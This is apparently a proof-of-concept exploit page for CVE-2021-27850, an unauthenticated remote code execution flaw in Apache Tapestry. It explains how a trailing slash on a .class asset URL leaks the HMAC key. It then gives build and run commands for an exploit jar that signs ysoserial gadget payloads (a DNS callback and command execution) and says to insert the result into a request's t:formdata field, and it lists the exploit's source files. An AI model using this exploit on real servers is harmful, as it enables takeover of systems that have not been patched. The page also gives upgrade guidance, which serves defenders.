CVE-2021-27850 PoC — Bypass of the fix for CVE-2019-0195

Title:Bypass of the fix for CVE-2019-0195 (CVE-2021-27850)
Description:A critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap: Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL. An attacker was able to download the file `AppModule.class` by requesting the URL `http://localhost:8080/assets/something/services/AppModule.class` which contains a HMAC secret key. The fix for that bug was a blacklist filter that checks if the URL ends with `.class`, `.properties` or `.xml`. Bypass: Unfortunately, the blacklist solution can simply be bypassed by appending a `/` at the end of the URL: `http://localhost:8080/assets/something/services/AppModule.class/` The slash is stripped after the blacklist check and the file `AppModule.class` is loaded into the response. This class usually contains the HMAC secret key which is used to sign serialized Java objects. With the knowledge of that key an attacker can sign a Java gadget chain that leads to RCE (e.g. CommonsBeanUtils1 from ysoserial). Solution for this vulnerability: * For Apache Tapestry 5.4.0 to 5.6.1, upgrade to 5.6.2 or later. * For Apache Tapestry 5.7.0, upgrade to 5.7.1 or later.

Apache Tapestry CVE-2021-27850 PoC

## 命令使用
```bash
git clone https://github.com/Ovi3/CVE_2021_27850_POC.git
cd CVE_2021_27850_POC/
gradlew runnbaleJar

java -jar ./build/libs/CVE_2021_27850_POC-1.0-SNAPSHOT.jar
[Usage]:
        java TapestryExploit [Tapestry Key] DNS [URL]
        java TapestryExploit [Tapestry Key] CB2 [Command]

# 假设 hmac key为 change this immediately 
java -jar ./build/libs/CVE_2021_27850_POC-1.0-SNAPSHOT.jar "change this immediately" DNS "http://xxx.dnslog.cn"
java -jar ./build/libs/CVE_2021_27850_POC-1.0-SNAPSHOT.jar "change this immediately" CB2 "calc"
```

## 漏洞复现
访问Tapestry应用，触发一个POST请求（如登录请求），抓包，修改`t:formdata`参数值为上面生成的payload

 [4.0K]  /data/pocs/983d07bebeedeb342ffe1c1521b3ac2262a1e0d6
├── [ 770]  build.gradle
├── [4.0K]  gradle
│   └── [4.0K]  wrapper
│       ├── [ 58K]  gradle-wrapper.jar
│       └── [ 200]  gradle-wrapper.properties
├── [5.6K]  gradlew
├── [2.6K]  gradlew.bat
├── [ 712]  README.md
├── [  41]  settings.gradle
└── [4.0K]  src
    └── [4.0K]  main
        ├── [4.0K]  java
        │   └── [4.0K]  com
        │       └── [4.0K]  tapestry
        │           └── [4.0K]  poc
        │               ├── [3.1K]  CommonsBeanutils2.java
        │               └── [5.4K]  TapestryExploit.java
        └── [4.0K]  resources
            └── [ 57M]  ysoserial-master-d367e379d9-1.jar

9 directories, 10 files